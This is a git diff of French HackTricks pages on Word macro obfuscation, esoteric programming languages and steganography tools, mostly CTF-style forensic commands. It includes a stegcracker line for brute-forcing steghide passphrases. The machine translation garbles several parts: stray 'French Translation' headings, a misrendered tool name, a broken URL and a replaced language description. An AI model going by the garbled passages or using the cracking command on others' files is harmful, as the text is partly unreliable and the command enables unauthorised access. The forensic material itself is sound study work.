Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/reversing/word-macros.md b/reversing/word-macros.md index e20150d3b..dd3b36a9f 100644 --- a/reversing/word-macros.md +++ b/reversing/word-macros.md @@ -1,42 +1,42 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Code Inutile +## Code indésirable -Il est très courant de trouver **du code inutile qui n'est jamais utilisé** pour rendre le reversing du macro plus difficile.\ -Par exemple, dans l'image suivante, vous pouvez voir qu'un If qui ne sera jamais vrai est utilisé pour exécuter du code inutile et sans intérêt. +Il est très courant de trouver du **code indésirable qui n'est jamais utilisé** pour rendre la rétro-ingénierie de la macro plus difficile.\ +Par exemple, dans l'image suivante, vous pouvez voir que et Si cela ne sera jamais vrai est utilisé pour exécuter un code indésirable et inutile. ![](<../.gitbook/assets/image (373).png>) -## Formulaires Macro +## Formes de macro -En utilisant la fonction **GetObject**, il est possible d'obtenir des données à partir des formulaires de la macro. Cela peut être utilisé pour compliquer l'analyse. Voici une photo d'un formulaire macro utilisé pour **cacher des données à l'intérieur de zones de texte** (une zone de texte peut cacher d'autres zones de texte) : +En utilisant la fonction **GetObject**, il est possible d'obtenir des données à partir des formulaires de la macro. Cela peut être utilisé pour compliquer l'analyse. La photo suivante montre un formulaire de macro utilisé pour **cacher des données à l'intérieur de zones de texte** (une zone de texte peut cacher d'autres zones de texte) : ![](<../.gitbook/assets/image (374).png>)
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/stego/esoteric-languages.md b/stego/esoteric-languages.md index 41473deb1..8041a0dd1 100644 --- a/stego/esoteric-languages.md +++ b/stego/esoteric-languages.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -27,7 +27,7 @@ Consultez ce wiki pour rechercher plus de langages ésotériques ![](<../.gitbook/assets/image (146).png>) -[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) +[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet/npiet-execute.php) ## Rockstar ``` @@ -64,7 +64,9 @@ Whisper my world --- -Le langage de programmation PETOOH est un langage esotérique basé sur le langage de programmation russe. Les instructions de PETOOH sont basées sur des mots russes et sont exécutées en déplaçant un pointeur dans un tableau bidimensionnel. +### French Translation: + +Les langages ésotériques sont des langages de programmation conçus de manière non conventionnelle, souvent pour des raisons artistiques ou éducatives. Ils peuvent être difficiles à lire et à comprendre pour les programmeurs non familiers avec leur syntaxe unique. Certains exemples de langages ésotériques incluent **Brainfuck**, **Whitespace** et **Piet**. ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -76,12 +78,12 @@ Kukarek ```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/stego/stego-tricks.md b/stego/stego-tricks.md index 0c3730a3f..c81fe8821 100644 --- a/stego/stego-tricks.md +++ b/stego/stego-tricks.md @@ -2,216 +2,205 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Trouvez les vulnérabilités qui comptent le plus pour pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** -## Extraction de données de tous les fichiers +## **Extraction de données à partir de fichiers** -### Binwalk - -Binwalk est un outil pour rechercher des fichiers binaires, comme des images et des fichiers audio, à la recherche de fichiers cachés et de données intégrées.\ -Il peut être installé avec `apt`, et le [source](https://github.com/ReFirmLabs/binwalk) peut être trouvé sur Github.\ -**Commandes utiles** :\ -`binwalk fichier` : Affiche les données intégrées dans le fichier donné\ -`binwalk -e fichier` : Affiche et extrait les données du fichier donné\ -`binwalk --dd ".*" fichier` : Affiche et extrait les données du fichier donné - -### Foremost - -Foremost est un programme qui récupère des fichiers basés sur leurs en-têtes, pieds de page et structures de données internes. Je le trouve particulièrement utile pour traiter les images png. Vous pouvez sélectionner les fichiers que Foremost extraira en modifiant le fichier de configuration dans **/etc/foremost.conf.**\ -Il peut être installé avec `apt`, et le [source](https://github.com/korczis/foremost) peut être trouvé sur Github.\ -**Commandes utiles :**\ -`foremost -i fichier` : extrait les données du fichier donné. - -### Exiftool - -Parfois, des informations importantes sont cachées dans les métadonnées d'une image ou d'un fichier ; exiftool peut être très utile pour visualiser les métadonnées d'un fichier.\ -Vous pouvez l'obtenir [ici](https://www.sno.phy.queensu.ca/\~phil/exiftool/)\ -**Commandes utiles :**\ -`exiftool fichier` : montre les métadonnées du fichier donné - -### Exiv2 - -Un outil similaire à exiftool.\ -Il peut être installé avec `apt`, et le [source](https://github.com/Exiv2/exiv2) peut être trouvé sur Github.\ -[Site officiel](http://www.exiv2.org/)\ -**Commandes utiles :**\ -`exiv2 fichier` : montre les métadonnées du fichier donné - -### File - -Vérifiez le type de fichier que vous avez - -### Strings - -Extrait les chaînes de caractères du fichier.\ -Commandes utiles :\ -`strings -n 6 fichier` : Extrait les chaînes avec une longueur minimale de 6\ -`strings -n 6 fichier | head -n 20` : Extrait les 20 premières chaînes avec une longueur minimale de 6\ -`strings -n 6 fichier | tail -n 20` : Extrait les 20 dernières chaînes avec une longueur minimale de 6\ -`strings -e s -n 6 fichier` : Extrait les chaînes de 7 bits\ -`strings -e S -n 6 fichier` : Extrait les chaînes de 8 bits\ -`strings -e l -n 6 fichier` : Extrait les chaînes de 16 bits (little-endian)\ -`strings -e b -n 6 fichier` : Extrait les chaînes de 16 bits (big-endian)\ -`strings -e L -n 6 fichier` : Extrait les chaînes de 32 bits (little-endian)\ -`strings -e B -n 6 fichier` : Extrait les chaînes de 32 bits (big-endian) - -### cmp - Comparaison - -Si vous avez une image/audio/vidéo **modifiée**, vérifiez si vous pouvez **trouver l'original exact** sur internet, puis **comparez** les deux fichiers avec : +### **Binwalk** +Un outil pour rechercher des fichiers binaires contenant des fichiers et des données cachés. Il est installé via `apt` et son code source est disponible sur [GitHub](https://github.com/ReFirmLabs/binwalk). +```bash +binwalk file # Displays the embedded data +binwalk -e file # Extracts the data +binwalk --dd ".*" file # Extracts all data ``` +### **Avant tout** +Récupère les fichiers en fonction de leurs en-têtes et pieds de page, utile pour les images png. Installé via `apt` avec sa source sur [GitHub](https://github.com/korczis/foremost). +```bash +foremost -i file # Extracts data +``` +### **Exiftool** +Aide à visualiser les métadonnées des fichiers, disponible [ici](https://www.sno.phy.queensu.ca/~phil/exiftool/). +```bash +exiftool file # Shows the metadata +``` +### **Exiv2** +Similaire à exiftool, pour visualiser les métadonnées. Installable via `apt`, source sur [GitHub](https://github.com/Exiv2/exiv2), et possède un [site officiel](http://www.exiv2.org/). +```bash +exiv2 file # Shows the metadata +``` +### **Fichier** +Identifier le type de fichier avec lequel vous travaillez. + +### **Chaînes** +Extraire les chaînes lisibles des fichiers, en utilisant divers paramètres d'encodage pour filtrer la sortie. +```bash +strings -n 6 file # Extracts strings with a minimum length of 6 +strings -n 6 file | head -n 20 # First 20 strings +strings -n 6 file | tail -n 20 # Last 20 strings +strings -e s -n 6 file # 7bit strings +strings -e S -n 6 file # 8bit strings +strings -e l -n 6 file # 16bit strings (little-endian) +strings -e b -n 6 file # 16bit strings (big-endian) +strings -e L -n 6 file # 32bit strings (little-endian) +strings -e B -n 6 file # 32bit strings (big-endian) +``` +### **Comparaison (cmp)** +Utile pour comparer un fichier modifié avec sa version originale trouvée en ligne. +```bash cmp original.jpg stego.jpg -b -l ``` -## Extraction de données cachées dans le texte +## **Extraction de données cachées dans du texte** -### Données cachées dans les espaces +### **Données cachées dans les espaces** +Les caractères invisibles dans des espaces apparemment vides peuvent cacher des informations. Pour extraire ces données, visitez [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). -Si vous constatez qu'une **ligne de texte** est **plus grande** qu'elle ne devrait l'être, alors des **informations cachées** pourraient être incluses à l'intérieur des **espaces** à l'aide de caractères invisibles. Pour **extraire** les **données**, vous pouvez utiliser : [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) -
+ +*** + +
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\ -Obtenez l'accès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Extraction de données à partir d'images +*** -### identify +## **Extraction de données à partir d'images** -Outil [GraphicMagick](https://imagemagick.org/script/download.php) pour vérifier le type d'image d'un fichier. Vérifie également si l'image est corrompue. -``` +### **Identification des détails de l'image avec GraphicMagick** + +[GraphicMagick](https://imagemagick.org/script/download.php) sert à déterminer les types de fichiers d'image et à identifier d'éventuelles corruptions. Exécutez la commande ci-dessous pour inspecter une image : +```bash ./magick identify -verbose stego.jpg ``` -Si l'image est endommagée, vous pourriez être capable de la restaurer en ajoutant simplement un commentaire de métadonnées (si elle est très gravement endommagée, cela ne fonctionnera pas) : +Pour tenter de réparer une image endommagée, ajouter un commentaire de métadonnées pourrait aider : ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` -### Steghide \[JPEG, BMP, WAV, AU] +### **Steghide pour la dissimulation de données** -Steghide est un programme de stéganographie qui cache des données dans divers types de fichiers image et audio. Il prend en charge les formats de fichiers suivants : `JPEG, BMP, WAV et AU`. Il est également utile pour extraire des données intégrées et cryptées d'autres fichiers.\ -Il peut être installé avec `apt`, et le [source](https://github.com/StefanoDeVuono/steghide) est disponible sur Github.\ -**Commandes utiles :**\ -`steghide info file` : affiche des informations sur la présence ou non de données intégrées dans un fichier.\ -`steghide extract -sf file [--passphrase password]` : extrait les données intégrées d'un fichier \[en utilisant un mot de passe] +Steghide facilite la dissimulation de données dans les fichiers `JPEG, BMP, WAV et AU`, capable d'incorporer et d'extraire des données chiffrées. L'installation est simple en utilisant `apt`, et son [code source est disponible sur GitHub](https://github.com/StefanoDeVuono/steghide). -Vous pouvez également extraire le contenu de steghide via le web : [https://futureboy.us/stegano/decinput.html](https://futureboy.us/stegano/decinput.html) +**Commandes :** +- `steghide info fichier` révèle si un fichier contient des données cachées. +- `steghide extract -sf fichier [--mot de passe]` extrait les données cachées, mot de passe en option. -**Bruteforcing** Steghide : [stegcracker](https://github.com/Paradoxis/StegCracker.git) `stegcracker []` +Pour une extraction basée sur le web, visitez [ce site web](https://futureboy.us/stegano/decinput.html). -### Zsteg \[PNG, BMP] - -zsteg est un outil capable de détecter des données cachées dans les fichiers png et bmp.\ -Pour l'installer : `gem install zsteg`. La source est également disponible sur [Github](https://github.com/zed-0xff/zsteg)\ -**Commandes utiles :**\ -`zsteg -a file` : Exécute toutes les méthodes de détection sur le fichier donné\ -`zsteg -E file` : Extrait les données avec la charge utile donnée (exemple : zsteg -E b4,bgr,msb,xy name.png) - -### stegoVeritas JPG, PNG, GIF, TIFF, BMP - -Capable d'une grande variété de techniques simples et avancées, cet outil peut vérifier les métadonnées des fichiers, créer des images transformées, forcer le LSB, et plus encore. Consultez `stegoveritas.py -h` pour connaître toutes ses capacités. Exécutez `stegoveritas.py stego.jpg` pour lancer tous les contrôles. - -### Stegsolve - -Parfois, un message ou un texte est caché dans l'image elle-même et, pour le visualiser, il faut appliquer des filtres de couleur ou modifier certains niveaux de couleur. Bien que cela puisse être fait avec des outils comme GIMP ou Photoshop, Stegsolve facilite le processus. C'est un petit outil Java qui applique de nombreux filtres de couleur utiles sur les images ; dans les défis CTF, Stegsolve est souvent un véritable gain de temps.\ -Vous pouvez l'obtenir depuis [Github](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)\ -Pour l'utiliser, ouvrez simplement l'image et cliquez sur les boutons `<` `>`. - -### FFT - -Pour trouver du contenu caché en utilisant la Transformation de Fourier Rapide : - -* [http://bigwww.epfl.ch/demo/ip/demos/FFT/](http://bigwww.epfl.ch/demo/ip/demos/FFT/) -* [https://www.ejectamenta.com/Fourifier-fullscreen/](https://www.ejectamenta.com/Fourifier-fullscreen/) -* [https://github.com/0xcomposure/FFTStegPic](https://github.com/0xcomposure/FFTStegPic) -* `pip3 install opencv-python` - -### Stegpy \[PNG, BMP, GIF, WebP, WAV] - -Un programme pour encoder des informations dans des fichiers image et audio via la stéganographie. Il peut stocker les données sous forme de texte clair ou crypté.\ -Trouvez-le sur [Github](https://github.com/dhsdshdhk/stegpy). - -### Pngcheck - -Obtenez des détails sur un fichier PNG (ou même découvrez s'il est en réalité quelque chose d'autre !).\ -`apt-get install pngcheck` : Installez l'outil\ -`pngcheck stego.png` : Obtenez des informations sur le PNG - -### Quelques autres outils d'image à mentionner - -* [http://magiceye.ecksdee.co.uk/](http://magiceye.ecksdee.co.uk/) -* [https://29a.ch/sandbox/2012/imageerrorlevelanalysis/](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) -* [https://github.com/resurrecting-open-source-projects/outguess](https://github.com/resurrecting-open-source-projects/outguess) -* [https://www.openstego.com/](https://www.openstego.com/) -* [https://diit.sourceforge.net/](https://diit.sourceforge.net/) - -## Extraire des données des audios - -### [Steghide \[JPEG, BMP, WAV, AU\]](stego-tricks.md#steghide) - -### [Stegpy \[PNG, BMP, GIF, WebP, WAV\]](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) - -### ffmpeg - -ffmpeg peut être utilisé pour vérifier l'intégrité des fichiers audio, en rapportant diverses informations sur le fichier, ainsi que toutes les erreurs trouvées.\ -`ffmpeg -v info -i stego.mp3 -f null -` - -### Wavsteg \[WAV] - -WavSteg est un outil Python3 qui peut cacher des données, en utilisant le bit de poids faible, dans des fichiers wav. Il peut également rechercher et extraire des données de fichiers wav.\ -Vous pouvez l'obtenir depuis [Github](https://github.com/ragibson/Steganography#WavSteg)\ -Commandes utiles :\ -`python3 WavSteg.py -r -b 1 -s soundfile -o outputfile` : Extrait dans un fichier de sortie (en prenant seulement 1 lsb)\ -`python3 WavSteg.py -r -b 2 -s soundfile -o outputfile` : Extrait dans un fichier de sortie (en prenant seulement 2 lsb) - -### Deepsound - -Cachez et vérifiez les informations cryptées avec AES-265 dans les fichiers sonores. Téléchargez depuis [la page officielle](http://jpinsoft.net/deepsound/download.aspx).\ -Pour rechercher des informations cachées, exécutez simplement le programme et ouvrez le fichier sonore. Si DeepSound trouve des données cachées, vous devrez fournir le mot de passe pour les déverrouiller. - -### Sonic visualizer - -Sonic visualizer est un outil pour visualiser et analyser le contenu des fichiers audio. Il peut être très utile lors de défis de stéganographie audio ; vous pouvez révéler des formes cachées dans les fichiers audio que de nombreux autres outils ne détecteront pas.\ -Si vous êtes bloqué, vérifiez toujours le spectrogramme de l'audio. [Site Officiel](https://www.sonicvisualiser.org/) - -### Tons DTMF - Tons de numérotation - -* [https://unframework.github.io/dtmf-detect/](https://unframework.github.io/dtmf-detect/) -* [http://dialabc.com/sound/detect/index.html](http://dialabc.com/sound/detect/index.html) - -## Autres astuces - -### Longueur binaire SQRT - Code QR - -Si vous recevez des données binaires avec une longueur SQRT d'un nombre entier, cela pourrait être une sorte de code QR : +**Attaque par force brute avec Stegcracker :** +- Pour tenter de craquer un mot de passe sur Steghide, utilisez [stegcracker](https://github.com/Paradoxis/StegCracker.git) comme suit : +```bash +stegcracker [] ``` +### **zsteg pour les fichiers PNG et BMP** + +zsteg se spécialise dans la découverte de données cachées dans les fichiers PNG et BMP. L'installation se fait via `gem install zsteg`, avec sa [source sur GitHub](https://github.com/zed-0xff/zsteg). + +**Commandes:** +- `zsteg -a fichier` applique toutes les méthodes de détection sur un fichier. +- `zsteg -E fichier` spécifie une charge utile pour l'extraction de données. + +### **StegoVeritas et Stegsolve** + +**stegoVeritas** vérifie les métadonnées, effectue des transformations d'image, et applique la force brute LSB, entre autres fonctionnalités. Utilisez `stegoveritas.py -h` pour une liste complète des options et `stegoveritas.py stego.jpg` pour exécuter toutes les vérifications. + +**Stegsolve** applique divers filtres de couleur pour révéler des textes ou des messages cachés dans les images. Il est disponible sur [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). + +### **FFT pour la détection de contenu caché** + +Les techniques de Transformée de Fourier Rapide (FFT) peuvent révéler du contenu dissimulé dans les images. Des ressources utiles incluent: + +- [Démo EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/) +- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) +- [FFTStegPic sur GitHub](https://github.com/0xcomposure/FFTStegPic) + +### **Stegpy pour les fichiers audio et image** + +Stegpy permet d'incorporer des informations dans des fichiers image et audio, prenant en charge des formats tels que PNG, BMP, GIF, WebP et WAV. Il est disponible sur [GitHub](https://github.com/dhsdshdhk/stegpy). + +### **Pngcheck pour l'analyse des fichiers PNG** + +Pour analyser les fichiers PNG ou valider leur authenticité, utilisez: +```bash +apt-get install pngcheck +pngcheck stego.png +``` +### **Outils supplémentaires pour l'analyse d'images** + +Pour une exploration plus approfondie, envisagez de visiter : + +- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) +- [Analyse du Niveau d'Erreur d'Image](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) +- [Outguess](https://github.com/resurrecting-open-source-projects/outguess) +- [OpenStego](https://www.openstego.com/) +- [DIIT](https://diit.sourceforge.net/) + +## **Extraction de données à partir d'audios** + +La **stéganographie audio** offre une méthode unique pour dissimuler des informations dans des fichiers sonores. Différents outils sont utilisés pour incorporer ou récupérer du contenu caché. + +### **Steghide (JPEG, BMP, WAV, AU)** +Steghide est un outil polyvalent conçu pour cacher des données dans des fichiers JPEG, BMP, WAV et AU. Des instructions détaillées sont fournies dans la [documentation des astuces de stéganographie](stego-tricks.md#steghide). + +### **Stegpy (PNG, BMP, GIF, WebP, WAV)** +Cet outil est compatible avec une variété de formats, y compris PNG, BMP, GIF, WebP et WAV. Pour plus d'informations, consultez la [section Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). + +### **ffmpeg** +ffmpeg est essentiel pour évaluer l'intégrité des fichiers audio, mettre en évidence des informations détaillées et repérer d'éventuelles anomalies. +```bash +ffmpeg -v info -i stego.mp3 -f null - +``` +### **WavSteg (WAV)** +WavSteg excelle dans la dissimulation et l'extraction de données dans les fichiers WAV en utilisant la stratégie du bit de poids faible. Il est accessible sur [GitHub](https://github.com/ragibson/Steganography#WavSteg). Les commandes incluent : +```bash +python3 WavSteg.py -r -b 1 -s soundfile -o outputfile + +python3 WavSteg.py -r -b 2 -s soundfile -o outputfile +``` +### **Deepsound** +Deepsound permet le chiffrement et la détection d'informations dans des fichiers audio en utilisant AES-256. Il peut être téléchargé depuis [la page officielle](http://jpinsoft.net/deepsound/download.aspx). + +### **Sonic Visualizer** +Un outil inestimable pour l'inspection visuelle et analytique des fichiers audio, Sonic Visualizer peut révéler des éléments cachés indétectables par d'autres moyens. Visitez le [site officiel](https://www.sonicvisualiser.org/) pour en savoir plus. + +### **DTMF Tones - Dial Tones** +La détection des tonalités DTMF dans les fichiers audio peut être réalisée à l'aide d'outils en ligne tels que [ce détecteur DTMF](https://unframework.github.io/dtmf-detect/) et [DialABC](http://dialabc.com/sound/detect/index.html). + +## **Autres Techniques** + +### **Binary Length SQRT - QR Code** +Les données binaires qui donnent un nombre entier en racine carrée pourraient représenter un code QR. Utilisez ce snippet pour vérifier: +```python import math math.sqrt(2500) #50 ``` -Pour convertir des "1" et "0" binaires en une image appropriée : [https://www.dcode.fr/binary-image](https://github.com/carlospolop/hacktricks/tree/32fa51552498a17d266ff03e62dfd1e2a61dcd10/binary-image/README.md)\ -Pour lire un code QR : [https://online-barcode-reader.inliteresearch.com/](https://online-barcode-reader.inliteresearch.com/) +### **Traduction en Français** -### Braille +Pour la conversion binaire en image, consultez [dcode](https://www.dcode.fr/binary-image). Pour lire les codes QR, utilisez [ce lecteur de codes-barres en ligne](https://online-barcode-reader.inliteresearch.com/). -[https://www.branah.com/braille-translator](https://www.branah.com/braille-translator\)) +### **Traduction en Braille** +Pour traduire le Braille, le [traducteur Braille Branah](https://www.branah.com/braille-translator) est une excellente ressource. ## **Références** @@ -220,20 +209,20 @@ Pour lire un code QR : [https://online-barcode-reader.inliteresearch.com/](https
